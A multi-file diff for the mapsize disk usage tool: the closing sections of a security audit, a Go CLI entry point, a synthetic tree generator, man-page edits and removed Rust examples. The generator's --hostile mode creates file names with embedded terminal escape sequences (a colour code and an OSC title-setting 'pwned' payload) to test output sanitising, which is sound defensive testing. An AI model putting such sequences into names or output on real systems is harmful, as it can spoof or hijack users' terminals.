## 13. Dependency and Supply-Chain Review
|
||||
|
||||
- **Direct dependencies:** `rivo/uniseg` v0.4.7 and `golang.org/x/sys` v0.48.0. **Indirect:** the Charm stack (`bubbletea/v2` v2.0.10, `ultraviolet`, which is a pre-release pseudo-version, `x/ansi`, `colorprofile`, and others), `go-runewidth`, `displaywidth`, `uax29`, `go-colorful`, `cancelreader`, `xo/terminfo`, and `x/sync`. All are mainstream and actively maintained, and `go.sum` pins them all.
|
||||
- `govulncheck ./...` (latest) reports **no vulnerabilities**.
|
||||
- **Install-time scripts:** Go modules have none. The `Makefile` `release` target uses `go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1`, which is version-pinned and checked against the checksum database.
|
||||
- **CI:** read-only token (fixed, MS-06). Actions are pinned by tag (MS-10, open). Matrix cross-builds and race tests are present.
|
||||
- **Packaging:** nfpm installs `/usr/bin/mapsize` and the man page with mode 0644. There are no maintainer scripts and no setuid bits. The Homebrew formula builds from source.
|
||||
|
||||
## 14. Authentication and Authorisation Review
|
||||
|
||||
There is no authentication, by design: mapsize runs with the invoking user's privileges.
|
||||
|
||||
The authorisation-relevant control is `--read-only`. It blocks trash (`requestTrash`), and trash is also refused in snapshot mode, while a scan is running, and for the root node. Reveal, copy and snapshot saving remain allowed; this is documented and none of them modify the scanned tree.
|
||||
|
||||
Running as root is the main privilege concern: MS-01 is now mitigated, and MS-08 and MS-11 are residual.
|
||||
|
||||
## 15. Input Validation and Output Encoding Review
|
||||
|
||||
- **Terminal output:**
|
||||
- `textutil.Sanitize` escapes C0, DEL, C1 and bidi controls and replaces invalid UTF-8.
|
||||
- The canvas rejects control characters a second time and drops zero-width clusters.
|
||||
- Clusters whose width is ambiguous (ZWJ sequences) are replaced, so layout cannot be spoofed.
|
||||
- Every CLI report path (`Table`, `Summary`, compare, duplicates, error messages in `main`) sanitises its output.
|
||||
- The existing tests check that hostile names never put ESC or OSC sequences into a frame. Verified.
|
||||
- **CSV:** paths are sanitised. **Formula injection was checked and is not possible:** the scan root is made absolute (`filepath.Abs`), so every row starts with `/` or a drive letter, never `= + - @`.
|
||||
- **JSON:** see MS-14.
|
||||
- **Trashinfo:** `Path=` is URL-escaped with `url.URL{Path}.EscapedPath()`, so newlines and `%` cannot inject keys.
|
||||
- **Exec:** helpers are always given absolute paths (`checkAbs`) as single argv entries, so a path cannot be read as an option, and no shell is used. Windows is the exception, covered by MS-09.
|
||||
- **Config:** colours are parsed strictly as `#rrggbb`, the refresh rate is clamped to 1–60, and worker counts are bounded to 1–1024.
|
||||
- **Filter:** errors carry positions, and regex compile errors are reported to the user.
|
||||
|
||||
## 16. Frontend HTML/JavaScript Robustness Review
|
||||
|
||||
Not applicable: there is no HTML or JavaScript. The equivalent for this project is the terminal UI:
|
||||
|
||||
- Bubble Tea recovers panics in `Update` and `View`, and scanner panics are routed through `scan.OnPanic`, so the terminal is always restored. This is tested via `MAPSIZE_DEBUG_PANIC`.
|
||||
- Async results (trash, duplicates, filter, save) are tagged with their tree or finder, and stale results are dropped (`trashDoneMsg.tree`, `dupDoneMsg.finder`).
|
||||
- Lock discipline (one `RLock` per entry point) is documented and followed. A grep of `RLock` call sites matched the documented entry points.
|
||||
|
||||
## 17. Infrastructure and Deployment Review
|
||||
|
||||
There are no containers, servers or IaC. Packages install a single static binary that is not setuid. `make install` uses `install -Dm755`/`-Dm644` under `$(DESTDIR)$(PREFIX)`. Releases are built with `-trimpath -s -w` and `CGO_ENABLED=0`; reproducibility is plausible but not verified. Signing and provenance are covered by MS-10.
|
||||
|
||||
## 18. Logging, Monitoring, and Error Handling Review
|
||||
|
||||
- Errors are surfaced, not swallowed. Scan errors are classified, counted, listed in the UI, and shown in `Summary` with an "incomplete" warning.
|
||||
- Error strings shown to the user go through `Sanitize`.
|
||||
- Some `bw.Write` return values are ignored in `Save` and `JSON`, but the final `Flush` reports the sticky error, so this is safe.
|
||||
- `pprof.StartCPUProfile` errors are ignored, which is a minor debugging-only issue.
|
||||
- The trash path removes its `.trashinfo` file on failure (now tested).
|
||||
- Logging is opt-in, the log file is 0600, and output is quoted.
|
||||
|
||||
## 19. Test Coverage and Security Regression Gaps
|
||||
|
||||
**Existing coverage:** hostile snapshots (depth, bomb, sizes, metadata), fuzzers (`FuzzLoad`, `FuzzSquarify`, `FuzzParse`), scan stress under backpressure, terminal-injection frames, and trash symlink and permission cases.
|
||||
|
||||
**Added in this audit:**
|
||||
- `TestTrashRefusesSwappedItem`
|
||||
- `TestCopyRefusesControlCharacters`
|
||||
- `TestFindSkipsSwappedFIFO`
|
||||
- `TestNodeAmplificationLimited`
|
||||
|
||||
**Gaps:**
|
||||
- No macOS or Windows CI run of the platform trash and reveal code (the CI matrix runs `go test`, but the platform tests are Linux-only).
|
||||
- No race test with a symlink toggler for the scanner (MS-08).
|
||||
- No test for `--read-only` blocking every mutating key.
|
||||
- No test for parser nesting depth (MS-15).
|
||||
- No `config.Load` tests with malformed values.
|
||||
|
||||
## 20. Prioritised Remediation Plan
|
||||
|
||||
- **Immediate (done):** MS-01, MS-02, MS-03, MS-04, MS-05, MS-06, MS-07.
|
||||
- **Short term:**
|
||||
- Verify MS-09 on Windows and refuse comma paths, or switch to `SHOpenFolderAndSelectItems`.
|
||||
- Pin actions by SHA and add Dependabot (MS-10).
|
||||
- Cap filter query length and nesting (MS-15).
|
||||
- **Medium term:**
|
||||
- Scan directories fd-relatively with (dev, ino) verification (MS-08), and reuse that traversal for duplicate hashing and reveal (MS-12).
|
||||
- Store the inode identity of trash candidates (MS-11).
|
||||
- Add macOS and Windows platform tests to CI.
|
||||
- **Long term:**
|
||||
- Signed releases and SLSA provenance (MS-10).
|
||||
- Optional signed snapshots (MS-13).
|
||||
- Lossless JSON names (MS-14).
|
||||
|
||||
## 21. False Positives / Needs Manual Verification
|
||||
|
||||
- **MS-09:** needs a Windows run.
|
||||
- **MS-05:** reasoned for macOS but not executed there.
|
||||
- **Checked and not issues:**
|
||||
- CSV formula injection (the root is absolute).
|
||||
- Log injection (slog quotes values).
|
||||
- ReDoS (RE2).
|
||||
- Varint overflow and cycle creation in snapshots (validated).
|
||||
- Shell injection (no shell anywhere).
|
||||
- ESC reaching the terminal through JSON (escaped by `encoding/json`).
|
||||
- The trashinfo `Path=` key (URL-escaped).
|
||||
- The snapshot temporary file (0600, atomic rename, removed on failure).
|
||||
|
||||
## 22. Final Notes
|
||||
|
||||
**Residual risk** is concentrated in path re-resolution after the scan (MS-08, MS-11, MS-12) when mapsize runs privileged over trees that other users can write to. The recommended operating practice until the fd-relative redesign: as root, prefer `--read-only` for exploration, and trash items only in trees that untrusted users cannot write to.
|
||||
|
||||
**Limitations of this audit:**
|
||||
- Only Linux code was executed.
|
||||
- macOS and Windows code was reviewed and cross-compiled with `go vet` only.
|
||||
- Repository settings on GitHub were not visible.
|
||||
- The user committed `ab3ff7b` (Homebrew formula) concurrently during the audit; it was reviewed and is unaffected.
|
||||
@@ -0,0 +1,200 @@
|
||||
// Command mapsize is an interactive terminal disk usage analyser.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/pprof"
|
||||
"strings"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/app"
|
||||
"github.com/andydixon/mapsize/internal/brand"
|
||||
"github.com/andydixon/mapsize/internal/config"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
"github.com/andydixon/mapsize/internal/snapshot"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
)
|
||||
|
||||
type multiFlag []string
|
||||
|
||||
func (m *multiFlag) String() string { return strings.Join(*m, ",") }
|
||||
func (m *multiFlag) Set(s string) error { *m = append(*m, s); return nil }
|
||||
|
||||
func main() {
|
||||
os.Exit(run(os.Args[1:]))
|
||||
}
|
||||
|
||||
func run(args []string) int {
|
||||
settings, cfgErr := config.Load()
|
||||
fs := flag.NewFlagSet(brand.Name, flag.ContinueOnError)
|
||||
fs.Usage = func() { usage(fs) }
|
||||
var (
|
||||
excludes multiFlag
|
||||
workers = fs.String("workers", settings.Workers, "concurrency: conservative, balanced, aggressive or a number")
|
||||
follow = fs.String("follow-symlinks", settings.FollowSymlinks, "none, same-filesystem or all")
|
||||
oneFS = fs.Bool("one-file-system", settings.OneFileSystem, "do not cross filesystem boundaries")
|
||||
oneFSx = fs.Bool("x", false, "short for --one-file-system")
|
||||
readOnly = fs.Bool("read-only", false, "disable all modifying actions")
|
||||
noUI = fs.Bool("no-ui", false, "scan without the interactive interface and print a summary")
|
||||
jsonOut = fs.Bool("json", false, "print the inventory as JSON")
|
||||
csvOut = fs.Bool("csv", false, "print the inventory as CSV")
|
||||
depth = fs.Int("depth", -1, "maximum depth for --json/--csv (-1 = unlimited)")
|
||||
top = fs.Int("top", 0, "print the N largest entries of the root")
|
||||
largest = fs.Int("largest-files", 0, "print the N largest files")
|
||||
dups = fs.Bool("duplicates", false, "find duplicate files (non-interactive)")
|
||||
save = fs.String("save", "", "save a snapshot to `FILE` after scanning")
|
||||
snap = fs.String("snapshot", "", "alias for --save")
|
||||
load = fs.String("load", "", "open a saved snapshot `FILE` instead of scanning")
|
||||
scanPath = fs.String("scan", "", "path to scan (alternative to a positional argument)")
|
||||
compare = fs.Bool("compare", false, "compare two snapshots: --compare OLD NEW")
|
||||
si = fs.Bool("si", settings.Units == "si", "use SI units (kB, MB) instead of IEC (KiB, MiB)")
|
||||
logical = fs.Bool("apparent", settings.SizeMode == "logical", "size by logical (apparent) size instead of disk usage")
|
||||
theme = fs.String("theme", settings.Theme, "colour theme: default, dark, high-contrast, mono")
|
||||
colorMode = fs.String("color", "auto", "colour support: auto, truecolor, 256, 16, none")
|
||||
noMouse = fs.Bool("no-mouse", !settings.Mouse, "disable mouse support")
|
||||
logFile = fs.String("log", "", "write a debug log to `FILE`")
|
||||
logLevel = fs.String("log-level", "info", "log level: error, warn, info, debug, trace")
|
||||
cpuProfile = fs.String("cpuprofile", "", "write a CPU profile to `FILE`")
|
||||
memProfile = fs.String("memprofile", "", "write a heap profile to `FILE` on exit")
|
||||
version = fs.Bool("version", false, "print version and exit")
|
||||
)
|
||||
fs.Var(&excludes, "exclude", "exclude `PATTERN` (glob on name, or path prefix if it contains a separator); repeatable")
|
||||
|
||||
var positional []string
|
||||
for {
|
||||
if err := fs.Parse(args); err != nil {
|
||||
if err == flag.ErrHelp {
|
||||
return 0
|
||||
}
|
||||
return 2
|
||||
}
|
||||
args = fs.Args()
|
||||
if len(args) == 0 {
|
||||
break
|
||||
}
|
||||
positional = append(positional, args[0])
|
||||
args = args[1:]
|
||||
}
|
||||
if *version {
|
||||
fmt.Printf("%s %s (%s/%s)\n", brand.Name, brand.Version, runtime.GOOS, runtime.GOARCH)
|
||||
return 0
|
||||
}
|
||||
if cfgErr != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s: warning: config: %v (using defaults)\n", brand.Name, cfgErr)
|
||||
}
|
||||
textutil.SI = *si
|
||||
|
||||
if *logFile != "" {
|
||||
closeLog, err := setupLog(*logFile, *logLevel)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err)
|
||||
return 2
|
||||
}
|
||||
defer closeLog()
|
||||
} else {
|
||||
slog.SetDefault(slog.New(slog.NewTextHandler(io.Discard, nil)))
|
||||
}
|
||||
if *cpuProfile != "" {
|
||||
f, err := os.Create(*cpuProfile)
|
||||
if err == nil {
|
||||
pprof.StartCPUProfile(f)
|
||||
defer pprof.StopCPUProfile()
|
||||
}
|
||||
}
|
||||
if *memProfile != "" {
|
||||
defer func() {
|
||||
if f, err := os.Create(*memProfile); err == nil {
|
||||
runtime.GC()
|
||||
pprof.WriteHeapProfile(f)
|
||||
f.Close()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
cfg := &app.Config{
|
||||
NoUI: *noUI, JSON: *jsonOut, CSV: *csvOut, Depth: *depth, Top: *top, LargestFiles: *largest,
|
||||
Duplicates: *dups, ReadOnly: *readOnly, Theme: *theme, Mouse: !*noMouse, Color: *colorMode, Load: *load,
|
||||
Settings: settings,
|
||||
}
|
||||
if *logical {
|
||||
cfg.SizeMode = inventory.SizeLogical
|
||||
}
|
||||
cfg.Save = *save
|
||||
if cfg.Save == "" {
|
||||
cfg.Save = *snap
|
||||
}
|
||||
if *scanPath != "" {
|
||||
positional = append([]string{*scanPath}, positional...)
|
||||
}
|
||||
if *compare {
|
||||
if len(positional) != 2 {
|
||||
fmt.Fprintf(os.Stderr, "%s: --compare needs exactly two snapshot files\n", brand.Name)
|
||||
return 2
|
||||
}
|
||||
cfg.Compare = [2]string{positional[0], positional[1]}
|
||||
} else {
|
||||
if len(positional) > 1 {
|
||||
fmt.Fprintf(os.Stderr, "%s: only one path may be scanned at a time\n", brand.Name)
|
||||
return 2
|
||||
}
|
||||
if len(positional) == 1 && cfg.Load == "" && snapshot.IsSnapshot(positional[0]) {
|
||||
cfg.Load = positional[0]
|
||||
} else {
|
||||
cfg.Paths = positional
|
||||
}
|
||||
}
|
||||
|
||||
w, err := scan.Workers(*workers)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err)
|
||||
return 2
|
||||
}
|
||||
fm, err := scan.ParseFollow(*follow)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err)
|
||||
return 2
|
||||
}
|
||||
cfg.ScanOpts = scan.Options{Workers: w, Follow: fm, OneFileSystem: *oneFS || *oneFSx,
|
||||
Excludes: append(append([]string(nil), settings.Excludes...), excludes...)}
|
||||
|
||||
if err := app.Run(cfg); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, textutil.Sanitize(err.Error()))
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func setupLog(path, level string) (func(), error) {
|
||||
lv := map[string]slog.Level{"error": slog.LevelError, "warn": slog.LevelWarn, "info": slog.LevelInfo,
|
||||
"debug": slog.LevelDebug, "trace": slog.LevelDebug - 4}
|
||||
l, ok := lv[level]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("invalid --log-level %q", level)
|
||||
}
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
slog.SetDefault(slog.New(slog.NewTextHandler(f, &slog.HandlerOptions{Level: l})))
|
||||
return func() { f.Close() }, nil
|
||||
}
|
||||
|
||||
func usage(fs *flag.FlagSet) {
|
||||
w := fs.Output()
|
||||
fmt.Fprintf(w, `%[1]s — interactive terminal disk usage analyser
|
||||
|
||||
Usage:
|
||||
%[1]s [flags] [PATH] scan PATH (default .) interactively
|
||||
%[1]s [flags] SNAPSHOT%[2]s open a saved snapshot
|
||||
%[1]s --compare OLD NEW compare two snapshots
|
||||
%[1]s PATH --top 50 | --json | --csv | --no-ui --save FILE
|
||||
|
||||
Flags:
|
||||
`, brand.Name, brand.SnapshotExt)
|
||||
fs.PrintDefaults()
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
// Command treegen creates synthetic directory trees for testing and
|
||||
// benchmarking mapsize.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"math"
|
||||
"math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var (
|
||||
out = flag.String("out", "", "output directory (required, must not exist or be empty)")
|
||||
dirs = flag.Int("directories", 1000, "number of directories")
|
||||
files = flag.Int("files", 10000, "number of files")
|
||||
depth = flag.Int("max-depth", 8, "maximum directory depth")
|
||||
sparse = flag.Bool("sparse", false, "make some large files sparse")
|
||||
unicode = flag.Bool("unicode", false, "use Unicode and unusual (but safe) names")
|
||||
hostile = flag.Bool("hostile", false, "include names with control characters/escape sequences (Unix only)")
|
||||
maxSize = flag.Int64("max-size", 1<<20, "largest regular file in bytes (sizes are log-uniform; content is written)")
|
||||
seed = flag.Int64("seed", 1, "random seed (deterministic output)")
|
||||
hotspots = flag.Int("hotspots", 3, "directories that receive a large share of files")
|
||||
)
|
||||
flag.Parse()
|
||||
if *out == "" {
|
||||
flag.Usage()
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := os.MkdirAll(*out, 0o755); err != nil {
|
||||
fatal(err)
|
||||
}
|
||||
if ents, _ := os.ReadDir(*out); len(ents) > 0 {
|
||||
fatal(fmt.Errorf("%s is not empty", *out))
|
||||
}
|
||||
r := rand.New(rand.NewSource(*seed))
|
||||
start := time.Now()
|
||||
|
||||
type dir struct {
|
||||
path string
|
||||
depth int
|
||||
}
|
||||
all := []dir{{*out, 0}}
|
||||
byDepth := [][]int{{0}}
|
||||
for len(all) < *dirs+1 {
|
||||
// Pick a depth first, then a directory at that depth, so the tree is
|
||||
// broad near the top instead of one giant preferential-attachment chain.
|
||||
lv := byDepth[r.Intn(len(byDepth))]
|
||||
p := all[lv[r.Intn(len(lv))]]
|
||||
if p.depth >= *depth {
|
||||
continue
|
||||
}
|
||||
d := dir{filepath.Join(p.path, name(r, len(all), *unicode, *hostile)), p.depth + 1}
|
||||
if err := os.Mkdir(d.path, 0o755); err != nil {
|
||||
continue // name collision; try again
|
||||
}
|
||||
all = append(all, d)
|
||||
if d.depth == len(byDepth) {
|
||||
byDepth = append(byDepth, nil)
|
||||
}
|
||||
byDepth[d.depth] = append(byDepth[d.depth], len(all)-1)
|
||||
}
|
||||
hot := make([]int, *hotspots)
|
||||
for i := range hot {
|
||||
hot[i] = r.Intn(len(all))
|
||||
}
|
||||
var bytes int64
|
||||
buf := make([]byte, *maxSize)
|
||||
for i := range buf {
|
||||
buf[i] = byte(r.Intn(256)) // incompressible, so allocation is real everywhere
|
||||
}
|
||||
for i := 0; i < *files; i++ {
|
||||
var d dir
|
||||
if len(hot) > 0 && r.Intn(3) == 0 {
|
||||
d = all[hot[r.Intn(len(hot))]]
|
||||
} else {
|
||||
d = all[r.Intn(len(all))]
|
||||
}
|
||||
p := filepath.Join(d.path, name(r, i, *unicode, *hostile)+ext(r))
|
||||
// Log-uniform sizes: many tiny files, a few large ones.
|
||||
size := int64(math.Exp(r.Float64() * math.Log(float64(*maxSize))))
|
||||
if r.Intn(20) == 0 {
|
||||
size = 0
|
||||
}
|
||||
f, err := os.OpenFile(p, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o644)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if *sparse && r.Intn(200) == 0 {
|
||||
// Sparse: a large logical size with almost nothing allocated.
|
||||
f.Truncate(int64(1+r.Intn(8)) << 30)
|
||||
f.WriteAt([]byte("x"), 0)
|
||||
} else if size > 0 {
|
||||
if _, err := f.Write(buf[:size]); err != nil {
|
||||
fatal(err)
|
||||
}
|
||||
bytes += size
|
||||
}
|
||||
f.Close()
|
||||
if i%100000 == 0 && i > 0 {
|
||||
fmt.Fprintf(os.Stderr, "%d files…\n", i)
|
||||
}
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "created %d directories, %d files (%d logical bytes) in %s\n",
|
||||
len(all)-1, *files, bytes, time.Since(start).Round(time.Millisecond))
|
||||
}
|
||||
|
||||
var words = []string{"data", "cache", "backup", "photos", "src", "build", "logs", "tmp", "vm", "media", "docs", "lib", "node_modules", "archive"}
|
||||
var exts = []string{".txt", ".log", ".jpg", ".png", ".mp4", ".iso", ".qcow2", ".go", ".c", ".pdf", ".zip", ".tar.gz", ".db", ".so", "", ".json", ".mkv", ".flac"}
|
||||
var uni = []string{"日本語", "Ünïcödé", "emoji 🎉", "Ελληνικά", "кириллица", "space name", "quote'name", "dash-name"}
|
||||
|
||||
func name(r *rand.Rand, i int, unicode, hostile bool) string {
|
||||
switch {
|
||||
case hostile && r.Intn(50) == 0:
|
||||
return fmt.Sprintf("evil\x1b[31m%d\x1b]0;pwned\x07", i)
|
||||
case unicode && r.Intn(5) == 0:
|
||||
return fmt.Sprintf("%s-%d", uni[r.Intn(len(uni))], i)
|
||||
}
|
||||
return fmt.Sprintf("%s-%d", words[r.Intn(len(words))], i)
|
||||
}
|
||||
|
||||
func ext(r *rand.Rand) string { return exts[r.Intn(len(exts))] }
|
||||
|
||||
func fatal(err error) {
|
||||
fmt.Fprintln(os.Stderr, "treegen:", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
+16
-12
@@ -1,5 +1,5 @@
|
||||
.\" Manual page for mapsize. View with: man -l docs/mapsize.1
|
||||
.TH MAPSIZE 1 "October 2026" "mapsize 2.0.0" "User Commands"
|
||||
.TH MAPSIZE 1 "October 2026" "mapsize 1.0.0" "User Commands"
|
||||
.SH NAME
|
||||
mapsize \- interactive terminal disk usage analyser with a navigable treemap
|
||||
.SH SYNOPSIS
|
||||
@@ -95,7 +95,7 @@ Useful over SSH, where \fBCOLORTERM\fR is often not forwarded.
|
||||
Disable mouse support. Everything works from the keyboard.
|
||||
.TP
|
||||
.B \-\-read\-only
|
||||
Disable every action that modifies the filesystem (trash and delete) and
|
||||
Disable every action that modifies the filesystem (moving to trash) and
|
||||
show \fBREAD ONLY\fR in the header. Saving a snapshot file is still
|
||||
allowed. This does not make
|
||||
.B mapsize
|
||||
@@ -142,10 +142,18 @@ colouring, or prints the most significant changes with \fB\-\-no\-ui\fR
|
||||
(\fB\-\-top\fR sets how many; default 30).
|
||||
.SS Diagnostics
|
||||
.TP
|
||||
.BI \-\-log " FILE" "\fR, \fP\-\-log\-level " LEVEL
|
||||
Accepted for compatibility with earlier releases; currently no log is
|
||||
written. \fILEVEL\fR must still be one of
|
||||
.BR error ", " warn ", " info ", " debug " or " trace .
|
||||
.BI \-\-log " FILE"
|
||||
Append a log to \fIFILE\fR without disturbing the interface. Full paths are
|
||||
logged only at \fBdebug\fR level and above.
|
||||
.TP
|
||||
.BI \-\-log\-level " LEVEL"
|
||||
.BR error ", " warn ", " info " (default), " debug " or " trace .
|
||||
.TP
|
||||
.BI \-\-cpuprofile " FILE"
|
||||
Write a Go CPU profile.
|
||||
.TP
|
||||
.BI \-\-memprofile " FILE"
|
||||
Write a Go heap profile on exit.
|
||||
.TP
|
||||
.B \-\-version
|
||||
Print the version and exit.
|
||||
@@ -215,14 +223,10 @@ Toggle allocated / logical size.
|
||||
Copy the selected path to the clipboard (OSC 52; terminal support varies).
|
||||
.TP
|
||||
.B o
|
||||
Reveal the selected item in the desktop file manager. On a headless system
|
||||
(no \fBDISPLAY\fR or \fBWAYLAND_DISPLAY\fR), show the folder in the map
|
||||
instead.
|
||||
Reveal the selected item in the desktop file manager.
|
||||
.TP
|
||||
.BR d ", " Delete
|
||||
Move the selected item to the trash after confirmation. On a headless
|
||||
Linux or BSD system, where nothing would empty the trash, delete it
|
||||
permanently instead after a confirmation that says so. Disabled with
|
||||
Move the selected item to the trash after confirmation. Disabled with
|
||||
\fB\-\-read\-only\fR, for snapshots, and while scanning.
|
||||
.TP
|
||||
.B s
|
||||
|
||||
@@ -1,78 +0,0 @@
|
||||
//! In-process benchmarks of the TUI model (render, navigation, filtering)
|
||||
//! and the treemap layout:
|
||||
//!
|
||||
//! cargo run --release --example bench
|
||||
//!
|
||||
//! Each case runs for ~2 s after a warm-up and reports the mean time per op.
|
||||
|
||||
use mapsize::treemap::{self, Direction, Item, Rect};
|
||||
use mapsize::tui::bench::{big_tree, BenchModel};
|
||||
use std::hint::black_box;
|
||||
use std::sync::{Arc, RwLock};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
fn bench<R>(name: &str, mut f: impl FnMut(u64) -> R) {
|
||||
black_box(f(0));
|
||||
let budget = Duration::from_secs(2);
|
||||
let start = Instant::now();
|
||||
let mut n = 0u64;
|
||||
while start.elapsed() < budget {
|
||||
black_box(f(n));
|
||||
n += 1;
|
||||
}
|
||||
let per = start.elapsed() / n as u32;
|
||||
println!("{name:<40} {n:>8} ops {per:>12.2?}/op");
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let items: Vec<Item> = (0..300)
|
||||
.map(|i| Item {
|
||||
id: i,
|
||||
size: (1 + i * i) as f64,
|
||||
})
|
||||
.collect();
|
||||
let bounds = Rect {
|
||||
x: 0,
|
||||
y: 0,
|
||||
w: 200,
|
||||
h: 60,
|
||||
};
|
||||
bench("treemap/Squarify(300)", |_| {
|
||||
black_box(treemap::squarify(black_box(&items), bounds));
|
||||
});
|
||||
let blocks = treemap::squarify(&items, bounds);
|
||||
bench("treemap/Neighbour(300)", |_| {
|
||||
black_box(treemap::neighbour(
|
||||
black_box(&blocks),
|
||||
150,
|
||||
Direction::Right,
|
||||
));
|
||||
});
|
||||
|
||||
let t0 = Instant::now();
|
||||
let tree = Arc::new(RwLock::new(big_tree()));
|
||||
println!(
|
||||
"big tree: {} nodes built in {:.2?}",
|
||||
tree.read().unwrap().len(),
|
||||
t0.elapsed()
|
||||
);
|
||||
|
||||
let mut m = BenchModel::new(tree.clone(), 200, 60);
|
||||
bench("tui/BigColdFrame", |_| m.cold_frame());
|
||||
let mut m = BenchModel::new(tree.clone(), 200, 60);
|
||||
m.cold_frame();
|
||||
bench("tui/BigResize", |i| {
|
||||
m.resize(150 + (i % 100) as u16, 40 + (i % 30) as u16)
|
||||
});
|
||||
let mut m = BenchModel::new(tree.clone(), 200, 60);
|
||||
m.zoom_to_child_named(b"flat");
|
||||
bench("tui/BigFlatDirCold", |_| m.cold_frame());
|
||||
let mut m = BenchModel::new(tree.clone(), 200, 60);
|
||||
m.cold_frame();
|
||||
let keys = ["right", "down", "left", "up"];
|
||||
bench("tui/BigNavigate", |i| m.key(keys[i as usize % 4]));
|
||||
for q in ["size > 1MB", "*.dat AND size > 500k", "path contains sub3"] {
|
||||
let mut m = BenchModel::new(tree.clone(), 200, 60);
|
||||
bench(&format!("tui/BigFilter/{q}"), |_| m.apply_filter(q));
|
||||
}
|
||||
}
|
||||
@@ -1,210 +0,0 @@
|
||||
//! Synthetic directory-tree generator for testing and benchmarking mapsize:
|
||||
//!
|
||||
//! cargo run --release --example treegen -- --out DIR [flags]
|
||||
//!
|
||||
//! Flags (`-flag` or `--flag`, value as `=V` or a separate argument):
|
||||
//! --out DIR output directory (required, must not exist or be empty)
|
||||
//! --directories N number of directories (1000)
|
||||
//! --files N number of files (10000)
|
||||
//! --max-depth N maximum directory depth (8)
|
||||
//! --sparse make some large files sparse
|
||||
//! --unicode use Unicode and unusual (but safe) names
|
||||
//! --hostile include names with control characters/escape sequences (Unix only)
|
||||
//! --max-size N largest regular file in bytes; sizes are log-uniform, content is written (1048576)
|
||||
//! --seed N random seed; output is deterministic per seed (1)
|
||||
//! --hotspots N directories that receive a large share of files (3)
|
||||
|
||||
use std::fs::{self, OpenOptions};
|
||||
use std::io::Write;
|
||||
use std::path::PathBuf;
|
||||
use std::process::exit;
|
||||
use std::time::Instant;
|
||||
|
||||
const WORDS: &[&str] = &[
|
||||
"data",
|
||||
"cache",
|
||||
"backup",
|
||||
"photos",
|
||||
"src",
|
||||
"build",
|
||||
"logs",
|
||||
"tmp",
|
||||
"vm",
|
||||
"media",
|
||||
"docs",
|
||||
"lib",
|
||||
"node_modules",
|
||||
"archive",
|
||||
];
|
||||
const EXTS: &[&str] = &[
|
||||
".txt", ".log", ".jpg", ".png", ".mp4", ".iso", ".qcow2", ".go", ".c", ".pdf", ".zip",
|
||||
".tar.gz", ".db", ".so", "", ".json", ".mkv", ".flac",
|
||||
];
|
||||
const UNI: &[&str] = &[
|
||||
"日本語",
|
||||
"Ünïcödé",
|
||||
"emoji 🎉",
|
||||
"Ελληνικά",
|
||||
"кириллица",
|
||||
"space name",
|
||||
"quote'name",
|
||||
"dash-name",
|
||||
];
|
||||
const BOOLS: &[&str] = &["sparse", "unicode", "hostile"];
|
||||
|
||||
/// SplitMix64: tiny, fast and good enough for synthetic data.
|
||||
struct Rng(u64);
|
||||
|
||||
impl Rng {
|
||||
fn next(&mut self) -> u64 {
|
||||
self.0 = self.0.wrapping_add(0x9e37_79b9_7f4a_7c15);
|
||||
let mut z = self.0;
|
||||
z = (z ^ (z >> 30)).wrapping_mul(0xbf58_476d_1ce4_e5b9);
|
||||
z = (z ^ (z >> 27)).wrapping_mul(0x94d0_49bb_1331_11eb);
|
||||
z ^ (z >> 31)
|
||||
}
|
||||
fn n(&mut self, n: usize) -> usize {
|
||||
(self.next() % n as u64) as usize
|
||||
}
|
||||
fn f64(&mut self) -> f64 {
|
||||
(self.next() >> 11) as f64 / (1u64 << 53) as f64
|
||||
}
|
||||
fn pick<'a>(&mut self, s: &[&'a str]) -> &'a str {
|
||||
s[self.n(s.len())]
|
||||
}
|
||||
}
|
||||
|
||||
fn fatal(msg: impl std::fmt::Display) -> ! {
|
||||
eprintln!("treegen: {msg}");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fn usage() -> ! {
|
||||
eprintln!("usage: treegen --out DIR [--directories N] [--files N] [--max-depth N] [--sparse] [--unicode] [--hostile] [--max-size N] [--seed N] [--hotspots N]");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
fn name(r: &mut Rng, i: usize, unicode: bool, hostile: bool) -> String {
|
||||
if hostile && r.n(50) == 0 {
|
||||
format!("evil\x1b[31m{i}\x1b]0;pwned\x07")
|
||||
} else if unicode && r.n(5) == 0 {
|
||||
format!("{}-{i}", r.pick(UNI))
|
||||
} else {
|
||||
format!("{}-{i}", r.pick(WORDS))
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let mut out = None;
|
||||
let (mut dirs, mut files, mut depth, mut max_size, mut seed, mut hotspots) =
|
||||
